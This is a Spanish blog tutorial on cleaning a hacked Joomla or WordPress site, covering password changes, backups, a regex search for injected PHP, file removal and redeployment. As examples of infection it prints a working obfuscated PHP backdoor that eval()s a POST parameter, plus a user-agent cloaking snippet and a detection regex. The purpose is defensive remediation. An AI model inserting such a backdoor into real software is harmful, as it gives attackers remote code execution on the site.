Escribe algo para buscar...

Como limpiar un sitio Joomla hackeado

  • Javi Mata
  • 12 may, 2017


Algunos tipos de scripts que incrustan son tipo:

$usg = $_SERVER[strrev(strtoupper('tnega_resu_ptth'))];$ref = $_SERVER[strrev(strtoupper('tsoh_ptth'))];$rf = $_SERVER[strrev(strtoupper('rerefer_ptth'))]; if(!preg_match('/crawl|andex|oogle|bot/i',$usg)) ......

Aquí te mostraré los pasos seguidos para limpiar algunos sitios infectados, en este caso en Joomla y Wordpress.

1- Cambia todas las contraseñas, tanto de los correos como del panel del hosting, el FTP, y por supuesto, del sistema Wordpress o Joomla (si es el caso).

2- Descarga todos los archivos del sitio, haz un respaldo de todos archivos y la base de datos.

3- Limpia los archivos, en mi caso, había muchos archivos que no eran del sitio, con nombres raros, tipo diff.php, code.php, cwhkg_bak.php, etc...

En este punto, lo ideal sería que se hiciera una nueva instalación del sistema y solo sobre escribir los archivos que nosotros hayamos modificado para el sitio, por ejemplo en Wordpress los _child o en Joomla los overrides dentro de template/html (Esto es cuando un sitio ha sido hecho correctamente) y la base de datos, en un mundo ideal esto debería funcionar, pero hay muchos sitios en los que se han modificado los archivos del core de la plataforma, en esos casos el sitio seguramente no funcionará correctamente si hacemos lo de la nueva instalación.

Mi sitio no funciona correctamente si hago una instalación nueva

Si este es tu caso, y como lo es en muchas de las veces que he tenido que limpiar sitios de clientes hechos por terceros entonces procedo a explicarte como limpiar sitios tratando en lo posible de usar los archivos actuales o infectados.
 
Los primeros 3 pasos son iguales a los mencionados arriba, lo que cambiaremos será la limpieza de los archivos, para esto usaremos un editor de textos que permita hacer búsquedas con Expresiones Regulares, en mi caso usaré Sublime Text 3.
 

Si ya tienes todos los archivos del sitio en local abrimos en Sublime Text la carpeta raíz de dicho sitio, deberá aparecernos el árbol de archivos del sitio del lad izquierdo, hacemos click derecho en la carpeta raíz y seleccionamos Find & Replace o con el atajo de teclas CTRL + SHIFT + F (pc) o COMMAND + SHIFT + F (Mac), esto nos abrirá una barra abajo con el buscador como en la siguiente imagen



Aquí debemos asegurarnos de algunas cosas, la primera es que en esa franja del buscador el la opción de Expresiones regulares este activa, este es un * marcado en la siguiente imagen
 
 
Esto lo que hará será permitirnos usar Expresiones regulares en la búsqueda.
 
Lo siguiente que debemos verificar es que el campo Find: este vacío y el campo Where sea la ruta a la carpeta raíz del sitio, esto para asegurarnos de que la búsqueda la realice en el sitio completo.
 
Después, en el campo Find debemos ingresar lo siguiente:
 
'\$GLOBALS.*\\x|GLO.*SERVER|\$_COOKIE|\$_SERVER.*strrev|,"508"|function.*for.*strlen.*isset|isset.*eval|eval\(\$.*'
 
Esto es una Expresión regular para buscar en los archivos del sitio los principales Scripts usados para infectar una web, cabe aclarar también que esto nos mostrará algunos falsos positivos, ya que algunas de las variables o textos que busca también son usadas en algunas partes del core o extensiones de terceros validas, como por ejemplo Extplorer.
 
Una vez ingresada la expresión regular en Find ahora debemos agregar algo al campo Where, al inicio de  lo que aparece actualmente, que debe ser la url de la carpeta raíz debemos agregar *.php, con el asterisco y con la coma final, esto es para que solo nos busque en archivos PHP y listo, con esto ya podemos hacer click en el botón Find, esto nos abrirá una nueva ventana con los resultados de la búsqueda.
 
Esta ventana nos mostrará todos los resultados, aquí debemos ir revisando 3 cosas, los archivos que como mencione, son falsos positivos, es decir, que se muestran listados pero que en realidad son archivos que no están infectados, normalmente saldrán archivos que para algo utilicen llamados a COOKIES.
 
Las otras 2 cosas a revisar son los positivos reales, ya que habrá 2 tipos, los que sean un archivo completo y los que sea un script dentro de un archivo necesario o de core. En la siguiente imagen muestro un ejemplo de los resultados, se puede observar por ejemplo que en el primero nos dice el script dentro del archivo .../libraries/simplepie/simplepie.php y nos muestra que lo que encontro es un SCRIPT en la parte superior del archivo.
 
 
Esto lo sabemos por que al terminar el script, continua con un archivo de Joomla necesario, aquí lo que debemos hacer es eliminar el script señalado, que en este caso es algo como esto:
 
<?php                                                                                                                                                                                                                                                      $ushf8= "_psoteru"; $yyyx54 =$ushf8[2]. $ushf8[4].$ushf8[6]. $ushf8[4].$ushf8[3]. $ushf8[7].$ushf8[1]. $ushf8[1]. $ushf8[5].$ushf8[6];$pmpv7 =$yyyx54( $ushf8[0].$ushf8[1]. $ushf8[3]. $ushf8[2]. $ushf8[4] ) ;if( isset(${ $pmpv7 }['q0256c3'])){ eval ( ${$pmpv7} [ 'q0256c3' ] ); }?>
 
 
Siguiendo con la imagen de ejemplo, el siguiente resultado que muestra es un falso positivo, ya que es un archivo del core de Joomla que utiliza Cookies, en este caso a ese archivo no debemos hacerle nada.
 
El tercer resultado podemos ver un resultado de un archivo completo que está infectado y que no es del core de Joomla, esto lo sabemos porque el archivo solo contiene el script mencionado, en este caso debemos eliminar el archivo completo.
 
Debemos ir verificando los resultados de la búsqueda e ir haciendo lo que recomiendo arriba hasta llegar al final de los resultados.
 
 
A continuación te muestro como se ve un archivo del core de Joomla infectado:
 
 
En esta imagen podemos ver el script en la parte superior y al final como continua la etiqueta de apertura de PHP del archivo de Joomla.
 
 
Ahora te muestro la imagen de un archivo que no es necesario ni de core del sitio por lo que éste debe eliminarse:
 
 
 
Una vez limpios todos los archivos te sugiero que vuelvas a repetir el proceso y verificar que ahora ya solo te aparezcan falsos positivos (si es el caso) en la ventana de resultados.
 
 
Por ultimo, me ha tocado ver también algunos ataques en los que modifican la base de datos, por ejemplo agregando artículos, usuario, o scripts en contenido por lo que habrá que revisar la base de datos también.
 

Ya limpie mis archivos, ¿y ahora que sigue?

Si ya estás seguro de haber limpiado tu sitio deberás hacer lo siguiente, OJO, los primeros 2 pasos son considerando que puedas correr tu sitio en un servidor local:
 
1- Probar en local que tu sitio funciona correctamente, para esto deberás tener instalado un servidor local como XAMPP, MAMP o algún otro, con los archivos del sitio, así como la base de datos, y en el caso de ser un Joomla, Wordpress o algún otro CMS modificar el archivo de configuración (configuration.php en Joomla o wp-config.php en Wordpress) para indicarle que llame a tu base de datos en local.
 
2- Si tu sitio funciona correctamente (o no tienes manera de checarlo) el siguiente paso será actualizar todos los plugins, componentes, módulos, core del CMS, etc para asegurarnos que el sitio tenga las ultimas versiones de todo lo que lo componen.
 
3- Respalda, si la limpieza la hiciste directamente sobre los archivos que descargaste de tu sitio remoto te sugiero hacer otra respaldo del sitio y base de datos actualmente en el servidor remoto, existen algunas herramientas o puedes hacerlo como hicimos al principio guardando los archivos en otro sitio, esto para asegurarnos de tener al menos una copia del sitio funcionando :-)
 
4- Limpia tu servidor remoto. Ya tienes todo limpio y actualizado ¿y ahora?, no corras a subir todo al servidor otra vez, recuerda que lo que limpiamos esta solo en local, en el servidor sigue el sitio infectado, antes de subirlo te recomiendo limpiar completamente el servidor remoto, eliminando todo archivo que en el exista, quizá aquí debas solicitar la asistencia de tu soporte para que no vayas a eliminar archivos necesarios del hosting.. algunas veces pasa :-D
 
5- Sube tus archivos, ya con el servidor remoto y los archivos en local limpios podemos subirlos, recuerda cambiar los archivos que modificamos en el paso 1 (si fue el caso) para apuntar nuevamente la configuración a la base de datos en el servidor.
 
6- Haz pruebas, verifica que todo funcione correctamente en el servidor remoto, paginas internas, envíos de formularios, etc. y si todo funciona correctamente hemos terminado, en caso contrario habría que ver que está fallando, si falto algún archivo por subir o si alguno se modifico erróneamente.
 
 

Por ultimo

Ya para terminar, solo algunas sugerencias, algunas veces es mejor tener nuestros sitios en hostings un poco más caros pero mejores, con más herramientas para evitar estos ataques, con respaldos, soporte y demás servicio que a la larga o tras un ataque hacen que valga la pena pagar un poco más (tampoco tanto he).
 
Recuerda cambiar tus contraseñas constantemente y que sean difíciles de adivinar y no utilizando la misma para varios servicios.
 
También recuerda tener actualizado las extensiones y plataformas que utilices.
 
 
Realmente espero que todo esto te sea de utilidad y lo compartas, uno nunca sabe a quien puede servirle la información.
 
 
Recuerda seguirme en twitter como @Javi_Mata y hacerme llegar tus comentarios.

Artículos relacionados

Cómo conectarse a los Webservices en Joomla 4 con Token

Cómo conectarse a los Webservices en Joomla 4 con Token

  • Javi Mata
  • 10 ago, 2020

Aprende de manera rápida y fácil a conectarte a la nueva funcionalidad de Joomla 4, los Webservices utilizando autenticación con Token, usaremos Postman y PHP.

leer más
Como instalar Joomla 4 Beta 2

Como instalar Joomla 4 Beta 2

  • Javi Mata
  • 10 ago, 2020

Aprende como instalar Joomla 4 Beta 2 y no morir en el intento, todo de manera fácil y en unos cuantos minutos

leer más
Crea un sitio en 90min con Joomla, Helix Ultimate y SP Page Builder sin programar

Crea un sitio en 90min con Joomla, Helix Ultimate y SP Page Builder sin programar

  • Javi Mata
  • 02 jun, 2020

Aprende a crear un sitio rápido (90 minutos) usando Joomla, el template Helix Ultimate y el constructor de sitios SP Page Builder Lite desde cero y sin programación 

leer más